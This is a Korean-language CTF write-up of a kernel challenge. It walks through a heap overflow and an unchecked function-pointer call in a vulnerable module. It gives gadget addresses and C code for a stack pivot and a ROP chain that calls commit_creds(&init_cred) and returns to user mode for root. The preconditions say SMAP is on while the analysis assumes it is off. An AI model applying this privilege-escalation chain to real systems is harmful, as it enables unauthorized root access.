[Writeups][Club League 2025: Final] assignment3

Club League 2025 Final์— ๋‚˜๊ฐ€์„œ ํ‘ผ ๋ฌธ์ œ๋‹ค. ์ฒ˜์Œ RIP Control์€ ๋‹ค๋ฅธ ๋ถ„์ด ์ฐพ์œผ์…จ๊ณ , ๋‚˜๋Š” ์ค‘๊ฐ„๋ถ€ํ„ฐ ๋“ค์–ด๊ฐ€์„œ ์ต์Šคํ–ˆ๋‹ค. ์ด๊ฑด ๋งˆ์ง€๋ง‰์— swapgs๋ฅผ ๋บด๋จน์–ด์„œ ์‹œ๊ฐ„ ์•ˆ์— ํ’€์ง€๋Š” ๋ชปํ–ˆ๋‹ค.

0. Precondition

  • SMAP on
  • SMEP off
  • KASLR off
  • KPTI off

1. ์ฝ”๋“œ ๋ถ„์„

๊ต‰์žฅํžˆ ์‰ฝ๊ฒŒ ์ทจ์•ฝ์ ์„ ์คฌ๋‹ค. ๋Œ€๋†“๊ณ  ํž™ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์ค€ ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

    case CMD_BOF:
        ret = copy_from_user(&req, (struct bof_req *)arg, sizeof(req));
        if (ret != 0) {
            ret = -EFAULT;
            break;
        }

        buf = kmem_cache_alloc(vuln_cache, GFP_KERNEL);

        ret = copy_from_user(buf, req.user_buf, req.user_buf_len);
        if (ret != 0)
            ret = -EFAULT;

        kmem_cache_free(vuln_cache, buf);
        break;

๊ทธ๋ฆฌ๊ณ  ์˜ํ–ฅ์„ ๋ฐ›๋Š” ๊ตฌ์กฐ์ฒด์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์•„๋ฌด๋Ÿฐ ๊ฒ€์ฆ ์—†์ด ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ์‹คํ–‰์‹œ์ผœ, RIP control์ด ๊ฐ€๋Šฅํ•œ ๋ชจ์Šต๋„ ๋ณผ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

    case CMD_CALL:
        idx = arg;
        if (!objs[idx]) {
            ret = -EINVAL;
            break;
        }

        objs[idx]->func();
        break;

์ด๋•Œ SMAP๊ฐ€ ๊บผ์ ธ ์žˆ์–ด kernel context์—์„œ๋„ ์œ ์ € ์˜์—ญ์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์ƒ๊ฐํ•˜๋ฉด, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ณต๊ฒฉ ๋ฐฉ์‹์„ ์ƒ๊ฐํ•ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.

  1. ์ปค๋„์—์„œ mov esp, XXXX ; ret์ฒ˜๋Ÿผ esp๋ฅผ ์œ ์ € ์˜์—ญ์—์„œ ํ• ๋‹นํ•  ์ˆ˜ ์žˆ๋Š” ๋‚ฎ์€ ์ฃผ์†Œ๋กœ ์˜ฎ๊ธฐ๋Š” ๊ฐ€์ ฏ์„ ์ฐพ์Œ
  2. ์œ ์ € ์˜์—ญ์—์„œ, ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ mmap()ํ•ด ํ• ๋‹น๋ฐ›์€ ํ›„ ROP chain์„ ์ค€๋น„ํ•ด๋‘ 
  3. ์•ž์„œ ์ฐพ์€ RIP Control Primitive๋ฅผ ํ†ตํ•ด ์ฐพ์€ ๊ฐ€์ ฏ์„ ์‹คํ–‰์‹œํ‚ด

2. exploit

2-1. ๊ฐ€์ ฏ ์ฐพ๊ธฐ

ROPgadget์„ ํ†ตํ•ด ์‰ฝ๊ฒŒ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค. ๊ต‰์žฅํžˆ ๋งŽ์€ ์ฃผ์†Œ๊ฐ€ ๋‚˜์˜ค๋Š”๋ฐ, ์ด ์ค‘ ์•„๋ฌด๊ฑฐ๋‚˜ ๊ณจ๋ผ์„œ ์‚ฌ์šฉํ•˜๋ฉด ๋œ๋‹ค. ์—ฌ๊ธฐ์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ–ˆ๋‹ค.

0xffffffff810e9e60 : mov esp, 0xf65f7201 ; ret

2-2. ROP Chain ์ค€๋น„

KASLR์ด ๊บผ์ ธ ์žˆ๋Š” ์ƒํƒœ์ด๊ธฐ ๋•Œ๋ฌธ์—, ๊ทธ๋ƒฅ /proc/kallsyms๋ฅผ ์กฐํšŒํ•ด ํ•„์š”ํ•œ ํ•จ์ˆ˜๋“ค์˜ ์œ„์น˜๋ฅผ ์ „๋ถ€ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค. LPE๊ฐ€ ๋ชฉํ‘œ์ด๊ธฐ ๋•Œ๋ฌธ์— commit_creds(&init_cred)๋ฅผ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ROP Chain์„ ๋งŒ๋“ค์—ˆ๋‹ค.

์—ฌ๊ธฐ์„œ ์ฃผ์˜ํ•  ์ ์€, kernel context์—์„œ user context๋กœ ๋ณต๊ท€ํ•  ๋•Œ iretq๋งŒ ์‚ฌ์šฉํ•œ๋‹ค๊ณ  ๋๋‚˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ swapgs๋„ ๊ฐ™์ด ์‚ฌ์šฉํ•ด์ค˜์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. ์ด๊ฑธ ๊นŒ๋จน๊ณ  ์žˆ์–ด์„œ ๋Œ€ํšŒ์žฅ์—์„œ ๋งˆ๋ฌด๋ฆฌ๋ฅผ ๋ชป ํ–ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ๋Š” swapgs ; ret๊ฐ™์ด ๋‹จ์ˆœํ•œ ๊ฐ€์ ฏ์ด ์—†์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ๋ฆ„์„ ์‚ฌ์šฉํ–ˆ๋‹ค.

swapgs_iretq

rax๊ฐ’์— ์ฃผ์˜ํ•ด์„œ ์‹คํ–‰ํ•ด์ฃผ๋ฉด ๋œ๋‹ค. ์ฐธ๊ณ ๋กœ pop rax ; ret ๊ฐ€์ ฏ์€ ์ฐจ๊ณ  ๋„˜์ณค๋‹ค.

#define mov_esp_0xf65f7201_ret 0xffffffff810e9e60
#define swapgs_pop_rdi_mov_rsp_rax_pop_rax_nop_iretq 0xffffffff8200176e
#define pop_rax_ret 0xffffffff81082d5d
...
    // prepare ROP chain
    char *ropchain = mmap((void *)0xf65f7000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
        MAP_PRIVATE | MAP_ANONYMOUS, 01, 0);

    unsigned long *chain = (unsigned long *)0xf65f7201;
    *chain++ = pop_rdi_ret;
    *chain++ = init_cred;
    *chain++ = commit_creds;
    *chain++ = pop_rax_ret;
    *chain++ = 0x00000000f65f7239;
    *chain++ = swapgs_pop_rdi_mov_rsp_rax_pop_rax_nop_iretq;
    *chain++ = 0;
    *chain++ = 0;
    *chain++ = (unsigned long)&win;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_rsp;
    *chain++ = user_ss;

Categories:

Updated:

Leave a comment